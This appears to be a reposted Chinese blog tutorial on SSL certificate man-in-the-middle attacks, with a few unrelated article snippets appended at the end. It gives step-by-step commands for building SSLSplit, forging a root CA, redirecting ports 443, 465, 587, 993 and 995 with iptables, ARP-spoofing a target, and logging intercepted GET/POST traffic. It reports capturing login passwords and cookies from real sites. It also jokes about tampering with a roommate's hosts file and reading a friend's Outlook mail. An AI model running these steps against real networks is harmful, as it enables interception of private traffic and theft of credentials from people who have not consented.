SSL中间人证书攻击测试演练

2024-06-16 02:18

本文主要是介绍SSL中间人证书攻击测试演练,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!



SSL中间人攻击事件

这几天,SSL证书欺骗可以说是占尽了风头,打开微博,朋友圈,FreeBuf处处可以见到SSL证书欺骗的资讯文章。

微软账号系统遭遇大规模SSL中间人攻击
国内iCloud服务器遭遇中间人攻击,中国苹果用户隐私不保
根本停不下来:Yahoo在中国遭遇SSL中间人攻击

……

先是iCloud,然后又是Yahoo,还有就是前几天的Microsoft。接下来的话题,我想再次跟大家聊聊中间人,不过这次主要是跟大家聊一聊关于SSL证书欺骗那点事儿。(说到这个我就心痛,我会告诉你到今天我还看到了一个中间人提示么= =..)

<img src="http://image.3001.net/images/20141021/14138294735036.png!small" title="QQ截图20141021022423.png"/></p>

前言

其实说到MITM我们很正常的会想到很多工具,比如说我前几天刚写的MITMf,比如说:SSLStrip。确实,SSLStrip很强大,不过SSLStrip核心思想还是替换:将https协议强制替换为http。这在很多环境下是受限的。关于SSLStrip的介绍我这里不说太多,网上已经有了很多教程。优劣大家自己去评判。

最近网上大牛EtherDream还提出了一个关于SSLStrip的未来思路的思考,不愧是前端的大牛,十分具有深度,推荐大家去看一下。

不过,今天我们文章的主角却不是SSLStrip,而是另外一款工具——SSLSplit。

工具简介

关于这款工具我做一点简要的介绍:工具的主要原理是以中间人的身份将证书插入到客户端和服务器中间,从而截断客户端和服务器之间的数据。之前我们大多数做的都是针对于80端口的欺骗,也就是说,只要是超越了80端口我们就会有点棘手:比如常用的443端口,比如465和587端口,这些都是通过SSL加密进行数据传输的,简单的80端口监听肯定是什么都拿不到的。这个时候,就体现出SSL证书劫持的作用了。

这里给出SSLSplit的git地址:

https://github.com/droe/sslsplit

不说废话,下面开始安装。

安装

首先我们从git上面把源码搞下来:

git clone https://github.com/droe/sslsplit.git /opt/sslsplit

这里说一下,源码编译依赖于两个包,这个kali默认是没有安装的,我们需要安装一下

apt-get install libssl-dev libevent-dev

然后进行编译

make
make install

成功之后我们输入sslsplit -h应该就会有帮助回显了,很简单,不废话。

数据流量重定向

关于数据怎么重定向到你的电脑上面也就是你怎么成为靶机和服务器的中间人,这个问题不是我们今天讨论的重点,但是因为跟本文还是有点关系,我给出几个建议方式吧:

1、ARP攻击
进内网……还用我多说么?永恒的传奇,不老的ARP。
2、DNS劫持
将靶机的DNS劫持到这里来,想做什么就好说了。
3、WIFI钓鱼
拿着个树莓派改装版或者拿着菠萝瞎溜达,哪里人多找哪里。
4、修改hosts文件
把舍友暴打一顿,然后把他的电脑的hosts文件改掉,反正他也不懂。
5、修改默认网关
把舍友暴打一顿,然后把他的电脑的默认网关改成自己的IP,反正他也不懂。
……

这里我暂时可以想到的就这么多,另外友情提示一下:如果你的朋友比你高比你壮,别去轻易尝试……

这次测试我采用的是ARP攻击的方式。其他方式都是可以的,不一一赘述。

中间人攻击

准备好了之后我们开始尝试中间人攻击。

首先,我们需要一份数字根证书,用来进行中间人欺骗。如果你已经有数字证书就可以跳过这部分了土豪,女生请直接联系我。如果暂时还没有证书的,我们为了实验可以用openssl自己生成一封证书(关于数字证书的生成方式大家可以自行百度,网上很多)。简略步骤如下:

先生成一个key文件

openssl genrsa -out ca.key 2048

然后自签名用生成的key生成公钥证书:

openssl req -new -x509 -days 1096 -key ca.key -out ca.crt

<img src="http://image.3001.net/images/20141021/14138263317273.png!small" title="9.png"/></p>

这样我们就把根证书建好了。

然后我们还需要在攻击测试机上进行端口流量转发,将对应的流量转到工具中来,在此之前需要打开ip_forward功能:

echo 1 > /proc/sys/net/ipv4/ip_forward

接着是用iptables进行流量转发,需要把我们需要的端口进行转发:

iptables -t nat -A PREROUTING -p tcp --dport 80 -j REDIRECT --to-ports 8080
iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 587 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 465 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 993 -j REDIRECT --to-ports 8443
iptables -t nat -A PREROUTING -p tcp --dport 995 -j REDIRECT --to-ports 8443

当然,在此之前请记得使用iptables -F清除原有设置。

我们可以使用

iptables -t nat -L

看一下我们的当前设置

<img src="http://image.3001.net/images/20141021/14138251146694.png!small" title="2.png"/></p>

这里可以确认没有问题了,进行下一步。

下一步是ARP欺骗,这个不用我说,大家都会,贴出命令:

arpspoof -i eth0 -192.168.217.129 -192.168.217.2

<img src="http://image.3001.net/images/20141021/14138253009567.png!small" title="1.png"/></p>

这里我建议等到临开始劫持的时候再打开ARP,因为我们的端口转发已经打开,ARP流量已经不能与平时一样正常走攻击机的正常端口,会出现靶机上不了网的情况。

接下来就是SSLSplit出场了。

下面是帮助界面:

<img src="http://image.3001.net/images/20141021/14138254861310.png!small" title="10.png"/></p>

这里我不全都介绍,只介绍有用的参数:

-k 指定私钥key文件,进行欺骗

-c 指定Root CA证书文件

-D Debug模式,用于输出SSLSplit状态,建议使用时加上

-j 指定log目录地址

-S 指定-j参数目录下需要记录截断GET、POST请求的子目录地址

-l 指定存储的连接信息文件

ssl IP 端口 指定ssl需要监听的端口

tcp IP 端口 指定tcp需要监听的端口

这时候我们就可以进行中间人劫持了。

启动ARP

arpspoof -i eth0 -192.168.217.129 -192.168.217.2

接着启动SSLSplit

sslsplit --l connect.log -/opt/sslsplit/test1 -S logdir/ -k ca.key -c ca.crt ssl 0.0.0.0 8443 tcp 0.0.0.0 8080

看图说话

启动之后,ARP结果如下:

<img src="http://image.3001.net/images/20141021/14138265765514.png!small" title="1.png"/></p>

SSLSplit启动之后:

<img src="http://image.3001.net/images/20141021/14138266168489.png!small" title="3.png"/></p>

然后此时我们使用靶机浏览https网页,就已经发现类似以上yahoo的状况了:

<img src="http://image.3001.net/images/20141021/14138266961408.png!small" title="4.png"/></p>

因为我们是追求科学的人,所以我们选择继续浏览:

<img src="http://image.3001.net/images/20141021/14138267242055.png!small" title="5.png"/></p>

在这里我们已经可以清晰看到我们的制作的根证书已经替换掉了服务器的官方证书。

然后,我又尝试了一下其他的诸如几个email网站,百度,taobao,微博等网站进行登录尝试,尝试的结果是:

部分网站可以直接嗅探到登录用户名和密码,而其他网站也大都获取到了Cookie等数据:

<img src="http://image.3001.net/images/20141021/14138269298795.png!small" title="11.png"/></p>

下面是我们通过嗅探得到的部分连接过程的GET以及POST请求文件:

<img src="http://image.3001.net/images/20141021/14138270137312.png!small" title="12.png"/></p>

然后我们可以看到记录中有关Cookie的文件:

<img src="http://image.3001.net/images/20141021/14138272509405.png!small" title="13.png"/></p>

我们看其中任意一个:

<img src="http://image.3001.net/images/20141021/14138274171602.png!small" title="14.png"/></p>

(请无视我这不专业的打码技术=。=如有信息泄露,请第一时间联系我)

可能有朋友也注意到了在iptables进行流量转发的时候还有其他端口,所以其实也完全可以进行Email数据劫持,我忽然记起我有个朋友特别喜欢用Outlook……

差不多了,就到了这里吧。我还要去搞我那个喜欢用Outlook的朋友呢,听说他的邮箱好多大片儿呢!

总结

有的朋友会说你这个肯定不行啊,因为很明显就被别人看出来了,那么个大红的姨妈警告谁看不见啊!这里我解释一下:

1、并不是所有的站点都会有这么明显的提示,经测试,部分国内某些权威的站点就不存在这样的提示。
2、我们本次是本着科普的目的进行单纯的试验,证书完全是自己生成的。那么如果证书真的是权威机构颁发的呢?很贵么?
3、目前我们的网络安全普及程度我想大家都看在眼里,并不是所有人都那么在乎这个红框框的,只要能用不就行了。另外,如果没记错,我们经常使用的买票的那谁的证书也不见得没问题吧,大家还不是照用不误,甚至给很多人以误导:这个提示是没用的,证书有错也是安全的,不信你看那谁.cn!相信你会无话可说。

这个时候如果使用证书劫持去搞wifi钓鱼,你还会说劫持到密码盗取钱财是“耸人听闻”的事情吗?

当然工具没什么技术含量,最重要的还是思路。希望本文可以让大家有点滴收获。:)

[文/FreeBuf小编xia0k 参考来源:github.com philippheckel.com 转载请注明FreeBuf.COM]

这篇关于SSL中间人证书攻击测试演练的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1065236

相关文章

性能测试介绍

性能测试是一种测试方法,旨在评估系统、应用程序或组件在现实场景中的性能表现和可靠性。它通常用于衡量系统在不同负载条件下的响应时间、吞吐量、资源利用率、稳定性和可扩展性等关键指标。 为什么要进行性能测试 通过性能测试,可以确定系统是否能够满足预期的性能要求,找出性能瓶颈和潜在的问题,并进行优化和调整。 发现性能瓶颈:性能测试可以帮助发现系统的性能瓶颈,即系统在高负载或高并发情况下可能出现的问题

字节面试 | 如何测试RocketMQ、RocketMQ?

字节面试:RocketMQ是怎么测试的呢? 答: 首先保证消息的消费正确、设计逆向用例,在验证消息内容为空等情况时的消费正确性; 推送大批量MQ,通过Admin控制台查看MQ消费的情况,是否出现消费假死、TPS是否正常等等问题。(上述都是临场发挥,但是RocketMQ真正的测试点,还真的需要探讨) 01 先了解RocketMQ 作为测试也是要简单了解RocketMQ。简单来说,就是一个分

【测试】输入正确用户名和密码,点击登录没有响应的可能性原因

目录 一、前端问题 1. 界面交互问题 2. 输入数据校验问题 二、网络问题 1. 网络连接中断 2. 代理设置问题 三、后端问题 1. 服务器故障 2. 数据库问题 3. 权限问题: 四、其他问题 1. 缓存问题 2. 第三方服务问题 3. 配置问题 一、前端问题 1. 界面交互问题 登录按钮的点击事件未正确绑定,导致点击后无法触发登录操作。 页面可能存在

业务中14个需要进行A/B测试的时刻[信息图]

在本指南中,我们将全面了解有关 A/B测试 的所有内容。 我们将介绍不同类型的A/B测试,如何有效地规划和启动测试,如何评估测试是否成功,您应该关注哪些指标,多年来我们发现的常见错误等等。 什么是A/B测试? A/B测试(有时称为“分割测试”)是一种实验类型,其中您创建两种或多种内容变体——如登录页面、电子邮件或广告——并将它们显示给不同的受众群体,以查看哪一种效果最好。 本质上,A/B测

软考系统规划与管理师考试证书含金量高吗?

2024年软考系统规划与管理师考试报名时间节点: 报名时间:2024年上半年软考将于3月中旬陆续开始报名 考试时间:上半年5月25日到28日,下半年11月9日到12日 分数线:所有科目成绩均须达到45分以上(包括45分)方可通过考试 成绩查询:可在“中国计算机技术职业资格网”上查询软考成绩 出成绩时间:预计在11月左右 证书领取时间:一般在考试成绩公布后3~4个月,各地领取时间有所不同

速盾高防cdn是怎么解决网站攻击的?

速盾高防CDN是一种基于云计算技术的网络安全解决方案,可以有效地保护网站免受各种网络攻击的威胁。它通过在全球多个节点部署服务器,将网站内容缓存到这些服务器上,并通过智能路由技术将用户的请求引导到最近的服务器上,以提供更快的访问速度和更好的网络性能。 速盾高防CDN主要采用以下几种方式来解决网站攻击: 分布式拒绝服务攻击(DDoS)防护:DDoS攻击是一种常见的网络攻击手段,攻击者通过向目标网

消除安卓SDK更新时的“https://dl-ssl.google.com refused”异常的方法

消除安卓SDK更新时的“https://dl-ssl.google.com refused”异常的方法   消除安卓SDK更新时的“https://dl-ssl.google.com refused”异常的方法 [转载]原地址:http://blog.csdn.net/x605940745/article/details/17911115 消除SDK更新时的“

Jenkins 插件 地址证书报错问题解决思路

问题提示摘要: SunCertPathBuilderException: unable to find valid certification path to requested target...... 网上很多的解决方式是更新站点的地址,我这里修改了一个日本的地址(清华镜像也好),其实发现是解决不了上述的报错问题的,其实,最终拉去插件的时候,会提示证书的问题,几经周折找到了其中一遍博文

Android逆向(反调,脱壳,过ssl证书脚本)

文章目录 总结 基础Android基础工具 定位关键代码页面activity定位数据包参数定位堆栈追踪 编写反调脱壳好用的脚本过ssl证书校验抓包反调的脚本打印堆栈bilibili反调的脚本 总结 暑假做了两个月的Android逆向,记录一下自己学到的东西。对于app渗透有了一些思路。 这两个月主要做的是代码分析,对于分析完后的持久化等没有学习。主要是如何反编译源码,如何找到

Verybot之OpenCV应用一:安装与图像采集测试

在Verybot上安装OpenCV是很简单的,只需要执行:         sudo apt-get update         sudo apt-get install libopencv-dev         sudo apt-get install python-opencv         下面就对安装好的OpenCV进行一下测试,编写一个通过USB摄像头采